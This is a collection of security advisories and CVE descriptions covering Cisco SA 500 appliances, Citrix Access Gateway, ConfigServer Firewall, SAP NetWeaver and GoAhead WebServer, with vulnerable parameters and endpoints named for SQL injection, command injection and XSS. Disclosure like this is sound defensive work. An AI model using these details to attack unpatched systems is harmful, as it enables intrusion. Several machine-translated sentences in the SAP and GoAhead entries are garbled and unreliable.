(CVE) ID CVE-2011-2547 Vulnerability Scoring Details +---------------------------- Cisco has provided scores for the vulnerabilities in this advisory based on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in this Security Advisory is done in accordance with CVSS version 2.0. CVSS is a standards-based scoring method that conveys vulnerability severity and helps determine urgency and priority of response. Cisco has provided a base and temporal score. Customers can then compute environmental scores to assist in determining the impact of the vulnerability in individual networks. Cisco has provided an FAQ to answer additional questions regarding CVSS at: http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html Cisco has also provided a CVSS calculator to help compute the environmental impact for individual networks at: http://intellishield.cisco.com/security/alertmanager/cvss * CSCtq65669 - SQL injection vulnerability CVSS Base Score - 5.0 Access Vector - Network Access Complexity - Low Authentication - None Confidentiality Impact - Partial Integrity Impact - None Availability Impact - None CVSS Temporal Score - 4.1 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed * CSCtq65681 - Privilege escalation vulnerability CVSS Base Score - 9.0 Access Vector - Network Access Complexity - Low Authentication - Single Confidentiality Impact - Complete Integrity Impact - Complete Availability Impact - Complete CVSS Temporal Score - 7.4 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed Impact ====== Successful exploitation of the SQL injection vulnerability could allow the retrieval of usernames and passwords. Software Versions and Fixes =========================== When considering software upgrades, also consult: http://www.cisco.com/go/psirt And any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Small Business Support Center or your contracted maintenance provider for assistance. These vulnerabilities have been corrected in software versions 2.1.19 and later. If administrators of SA 500 Series Security Appliances have configured the Check for New Firmware notification under Administration > Firmware & Configuration > Network, a message regarding new firmware that is available on Cisco.com will be displayed at the next log in to the appliance. Note: the SA 500 will not perform an automatic upgrade to version 2.1.19. The upgrade must be performed by an administrator. The latest software for SA 500 Series Security Appliances can be downloaded at: http://www.cisco.com/cisco/software/navigator.html?mdfid=282414017 Workarounds =========== The following mitigations help limit the exposure to these vulnerabilities. * Disable Remote Management Caution: Do not disable remote management if administrators manage devices via the WAN connection. This action will result in a loss of management connectivity to the device. Several features also require remote management to be enabled, including SSL VPN access and the Cisco Quick Virtual Private Network (QVPN) Utility. Remote Management is disabled by default. Administrators can disable this feature by choosing Network Management > Remote Management. Change the setting for this field to Disabled. Disabling remote management limits exposure because the vulnerabilities can then be exploited from the inter-LAN network only. Disabling remote management limits the exposure as the vulnerabilities can then only be exploited from the inter LAN network. * Limit Remote Management Access to Specific IP Addresses If remote management is required, secure the device so that it can be accessed by certain IP addresses only, rather than the default setting of All IP Addresses. After choosing Network Management > Remote Management, an administrator can change the Remote IP Address field to ensure that only devices with specified IP addresses can access the device. Obtaining Fixed Software ======================== Cisco has released free software updates that address these vulnerabilities. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at: http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html Or as otherwise set forth at Cisco.com Downloads at: http://www.cisco.com/public/sw-center/sw-usingswc.shtml Do not contact psirt@cisco.com or security-alert@cisco.com for software upgrades. Customers should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com If the information is not clear, please contact the Cisco Small Business Support Center or your contracted maintenance provider for assistance. Small Business Support Center contacts are as follows. +1 866 606 1866 (toll free from within North America) +1 408 418 1866 (toll call from anywhere in the world) Customers should have their product serial number available. Refer to: http://www.cisco.com/en/US/support/tsd_cisco_small_business_support_center_contacts.html for additional support contact information, including localized telephone numbers, and instructions and e-mail addresses for use in various languages. Exploitation and Public Announcements ===================================== The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerabilities that are described in this advisory. These vulnerabilities were reported to Cisco by Michal Sajdak of Securitum, Poland. Status of this Notice: FINAL ============================ THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME. A stand-alone copy or Paraphrase of the text of this document that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory is posted on Cisco's worldwide website at : http://www.cisco.com/warp/public/707/cisco-sa-20110720-sa500.shtml In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce@cisco.com * first-bulletins@lists.first.org * bugtraq@securityfocus.com * vulnwatch@vulnwatch.org * cisco@spot.colorado.edu * cisco-nsp@puck.nether.net * full-disclosure@lists.grok.org.uk * comp.dcom.sys.cisco@newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +-------------------------------------------------------------------+ | Revision 1.0 | 2011-July-20 | Initial public release. | +-------------------------------------------------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at: http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at: http://www.cisco.com/go/psirt +-------------------------------------------------------------------- Copyright 2010-2011 Cisco Systems, Inc. All rights reserved. +-------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iF4EAREIAAYFAk4m4k8ACgkQQXnnBKKRMNDzJgD+MwAQlnCeOSxzAq20X7iFbKvP tRwD9b1YmA4CFNcFLJkA/i25Tf/onaCHv4x79F0XDt2ZaCSpdEIp17oYfzFajYXl =aaaj -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ . ---------------------------------------------------------------------- The Secunia Vulnerability Intelligence Manager (VIM) enables you to handle vulnerability threats in a simple, cost effective way. Read more and request a free trial: http://secunia.com/products/corporate/vim/ ---------------------------------------------------------------------- TITLE: Cisco SA 500 Series Web Management Interface Two Vulnerabilities SECUNIA ADVISORY ID: SA45355 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/45355/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=45355 RELEASE DATE: 2011-07-22 DISCUSS ADVISORY: http://secunia.com/advisories/45355/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/45355/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=45355 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: Two vulnerabilities have been reported in Cisco SA 500 Series Security Appliances, which can be exploited by malicious users to compromise a vulnerable system and by malicious people to conduct SQL injection attacks. 1) Certain input passed to the login form is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. 2) Certain unspecified input passed to the web management interface is not properly sanitised before being used. This can be exploited to inject and execute arbitrary shell commands. PROVIDED AND/OR DISCOVERED BY: The vendor credits Michal Sajdak, Securitum. ORIGINAL ADVISORY: http://www.cisco.com/warp/public/707/cisco-sa-20110720-sa500.shtml OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

The NSEPA.NsepaCtrl.1 ActiveX control in nsepa.ocx in Citrix Access Gateway Enterprise Edition 8.1 before 8.1-67.7, 9.0 before 9.0-70.5, and 9.1 before 9.1-96.4 attempts to validate signed DLLs by checking the certificate subject, not the signature, which allows man-in-the-middle attackers to execute arbitrary code via HTTP header data referencing a DLL that was signed with a crafted certificate. Citrix Access Gateway is a universal SSL VPN device. Attackers may exploit these issues by enticing an unsuspecting victim to view a malicious webpage. Citrix Access Gateway Plug-in versions prior to 8.1-67.7, 9.0-70.5, and 9.1-96.4 are vulnerable; other versions may also be affected

Stack-based buffer overflow in the NSEPA.NsepaCtrl.1 ActiveX control in nsepa.ocx in Citrix Access Gateway Enterprise Edition 8.1 before 8.1-67.7, 9.0 before 9.0-70.5, and 9.1 before 9.1-96.4 allows remote attackers to execute arbitrary code via crafted HTTP header data. Citrix Access Gateway is a universal SSL VPN device. Attackers may exploit these issues by enticing an unsuspecting victim to view a malicious webpage. Citrix Access Gateway Plug-in versions prior to 8.1-67.7, 9.0-70.5, and 9.1-96.4 are vulnerable; other versions may also be affected

Stack-based buffer overflow in CFS.c in ConfigServer Security & Firewall (CSF) before 5.43, when running on a DirectAdmin server, allows local users to cause a denial of service (crash) via a long string in an admin.list file. ConfigServer Firewall is prone to a buffer-overflow vulnerability. Attackers can exploit this issue to execute arbitrary code within the context of the application using the vulnerable control. Failed exploit attempts will result in a denial-of-service condition

The Invoker Servlet on SAP NetWeaver Application Server Java platforms, possibly before 7.3, does not require authentication, which allows remote attackers to execute arbitrary code via an HTTP or HTTPS request, as exploited in the wild in 2013 through 2016, aka a "Detour" attack. Attacks on this vulnerability 2013 From 2016 Observed in year. This vulnerability "Detour" It is called an attack. Vendors have confirmed this vulnerability SAP Security Note 1445998 It is released as.By a third party HTTP Or HTTPS Arbitrary code may be executed via a request. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. The SAP Netweaver Invoker Servlet has a security vulnerability that allows an attacker to call any servlet even if it is declared in a web.xml file. This includes any servlet classes available in the application classloader, such as those in the WEB-INF\\classes, WEB-INF\\lib, and WEB-INF\\additinal-lib application directories. Multiple servlets included with Java applications are not designed for direct client access, but instead interact inside the application, thus causing arbitrary calls to be performed and invisible operations on the SAP server. An attacker may leverage this issue to execute arbitrary script code within the context of the affected application

Multiple cross-site scripting (XSS) vulnerabilities in GoAhead Webserver 2.18 allow remote attackers to inject arbitrary web script or HTML via (1) the group parameter to goform/AddGroup, related to addgroup.asp; (2) the url parameter to goform/AddAccessLimit, related to addlimit.asp; or the (3) user (aka User ID) or (4) group parameter to goform/AddUser, related to adduser.asp. GoAhead Webserver contains multiple cross-site scripting vulnerabilities. GoAhead Webserver for, POST There is a problem with request processing and multiple cross-site scripting vulnerabilities exist.Arbitrary scripts may be executed on the user's web browser. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. GoAhead WebServer 2.18 is vulnerable; other versions may also be affected. GoAhead WebServer is a small and exquisite embedded Web server of American Embedthis Company, which supports embedding in various devices and applications. ---------------------------------------------------------------------- Secunia is hiring! Find your next job here: http://secunia.com/company/jobs/ ---------------------------------------------------------------------- TITLE: GoAhead WebServer Multiple Script Insertion Vulnerabilities SECUNIA ADVISORY ID: SA46894 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/46894/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=46894 RELEASE DATE: 2011-11-18 DISCUSS ADVISORY: http://secunia.com/advisories/46894/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/46894/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=46894 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: Multiple vulnerabilities have been discovered in GoAhead WebServer, which can be exploited by malicious people to conduct script insertion attacks. 1) Input passed via the "group" POST parameter to goform/AddGroup (when "ok" is set to "OK") when adding a group is not properly sanitised before being used. 2) Input passed via the "url" POST parameter to goform/AddAccessLimit (when "ok" is set to "OK") when adding an access limit is not properly sanitised before being used. 3) Input passed via the "user" POST parameter to goform/AddUser (when "ok" is set to "OK") when adding a user is not properly sanitised before being used. The vulnerabilities are confirmed in version 2.1.8. SOLUTION: Update to version 2.5. PROVIDED AND/OR DISCOVERED BY: US-CERT credits Silent Dream ORIGINAL ADVISORY: http://www.kb.cert.org/vuls/id/384427 OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------